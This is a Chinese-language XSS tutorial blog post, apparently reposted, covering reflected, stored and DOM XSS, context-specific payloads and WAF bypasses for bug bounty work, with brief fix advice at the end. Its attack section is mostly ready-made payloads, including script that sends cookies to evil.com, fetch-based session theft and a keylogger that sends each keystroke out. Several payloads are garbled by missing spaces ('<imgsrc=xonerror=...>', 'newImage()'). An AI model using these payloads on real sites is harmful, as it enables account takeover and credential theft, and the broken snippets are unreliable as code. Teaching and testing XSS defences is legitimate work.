文章总结: 本文系统讲解XSS攻击从基础到高级的完整知识体系,涵盖反射型、存储型、DOM型三种XSS原理与区别,重点分析基于上下文的绕过技巧和WAF对抗方法,提供2026年仍可用的实战payload示例。文章强调XSS漏洞价值提升的关键在于证明实际危害,如窃取Cookie、会话劫持等,并给出自动化测试工具使用和修复建议。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全工具
XSS(跨站脚本攻击)从零到高手:把浏览器变成你的武器!
haidragon haidragon
安全狗的自我修养
2026年4月15日 12:25 湖南
在小说阅读器读本章
去阅读
#
官网:http://securitytech.cc
#
今天你会学到什么?
- 什么是 XSS(从最基础讲起)
- 三种类型:Reflected、Stored、DOM-Based
- 基于上下文的绕过技巧(进阶)
- WAF 绕过(高级)
- 2026 仍然可用的真实 payload
- 自动化 + 手工测试
- 如何最大化漏洞赏金影响力
为什么重要?
XSS 一直都在 OWASP Top 10 中,是最常见的 Web 漏洞之一
从一个简单的:
1. <script>alert(1)</script>
到:
- 账号接管
- Session 劫持
- 恶意代码投递
👉 影响可以非常大
什么是 XSS?(简单类比)
想象一个学校公告栏:
1. 正常学生:
2. →写“今天有比赛”
3. →所有人看到,没问题
5. 攻击者:
6. →写“看这个的人把钱包给我”
7. →所有人照做
网站里也是一样:
1. 正常用户:
2. →评论:文章很好
3. →正常显示
5. 攻击者:
6. →评论:<script>偷cookie</script>
7. →网站执行了!
8. →所有访问者的 cookie 被偷
👉 XSS 本质:注入恶意 JS 并在用户浏览器执行
三种 XSS 类型
1. Reflected XSS(反射型)
1. 流程:
3. 1.攻击者构造恶意 URL
4. 2.用户点击
5. 3.服务器直接返回参数
6. 4.浏览器执行脚本
示例:
1. GET /search?q=<script>alert(document.cookie)</script>
返回:
1. <h1>
2. <script>alert(document.cookie)</script>
3. </h1>
2. Stored XSS(存储型,最危险)
1. 流程:
3. 1. payload 存入数据库
4. 2.所有用户访问时触发
示例:
1. <script>
2. newImage().src='https://evil.com/?c='+document.cookie;
3. </script>
👉 所有人访问页面都会中招 👉 包括管理员 → 直接接管后台
3. DOM XSS(前端型)
1. var search = location.hash.substring(1);
2. document.getElementById('output').innerHTML = search;
攻击 URL:
1. #<img src=x onerror=alert(1)>
👉 服务器完全无感 👉 浏览器自己执行
XSS 核心:上下文(Context)
如果你不理解这个,payload 会一直失败
HTML 内容区
1. <p>Hello USER_INPUT</p>
payload:
1. <script>alert(1)</script>
2. <imgsrc=xonerror=alert(1)>
属性中
1. <inputvalue="USER_INPUT">
payload:
1. "><script>alert(1)</script>
JS 字符串中
1. var name ='USER_INPUT';
payload:
1. ';alert(1);//
Template Literal
1. var msg =`Hello ${USER_INPUT}`;
payload:
1. ${alert(1)}
URL / href
1. <ahref="USER_INPUT">
payload:
1. javascript:alert(1)
WAF 绕过技巧
大小写绕过
1. <ScRiPt>alert(1)</ScRiPt>
无 script 标签
1. <imgsrc=xonerror=alert(1)>
2. <svgonload=alert(1)>
编码绕过
1. %3Cscript%3E
2. <script>
关键字绕过
1. alert`1`
2. eval('ale'+'rt(1)')
无括号执行
1. alert`1`
javascript 协议
1. javascript:alert(1)
SVG 向量(非常强)
1. <svgonload=alert(1)>
如何提升漏洞价值
👉 重点:alert(1) 不值钱
1. 窃取 Cookie
1. document.location='https://evil.com/?c='+document.cookie;
2. Session 劫持
1. fetch('https://evil.com/?data='+btoa(document.cookie));
3. 键盘记录
1. document.addEventListener('keyup', e=>{
2. fetch('https://evil.com/?k='+e.key);
3. });
4. CSRF + XSS
1. fetch('/admin/settings')
2. .then(r=>r.text())
3. .then(html=>{
4. // 提取 token
5. });
5. 钓鱼页面
1. document.body.innerHTML =`<form>FakeLogin</form>`;
哪里找 XSS?
1. 搜索框
2. 评论区
3. 个人资料
4. URL 参数
5. Cookie
6. Header
7. 重定向参数
8. 文件上传(SVG)
自动化工具
Dalfox
1. dalfox url "https://target.com/?q=test"
XSSHunter(盲 XSS)
1. "><scriptsrc=你的域名></script>
Burp Suite
1. 拦截请求→Intruder→批量测试 payload
SVG 上传 XSS
1. <svg>
2. <script>alert(1)</script>
3. </svg>
👉 如果直接渲染 → XSS
修复方法
1. htmlspecialchars($_GET['name'])
安全建议
- 输出编码
- CSP
- HttpOnly Cookie
- 输入校验
总结
1. XSS = JS 注入
2. Reflected= URL
3. Stored=数据库
4. DOM =前端
5. 关键=Context
6. 重点=Impact
作者经验
第一次发现 XSS:
1. alert(1)
被拒:
Self-XSS
第二次:
1. 偷 cookie
👉 成功拿到管理员 cookie
👉 奖励:$750
核心结论
👉 XSS 不难,难的是证明影响
#
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《XSS(跨站脚本攻击)从零到高手:把浏览器变成你的武器!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论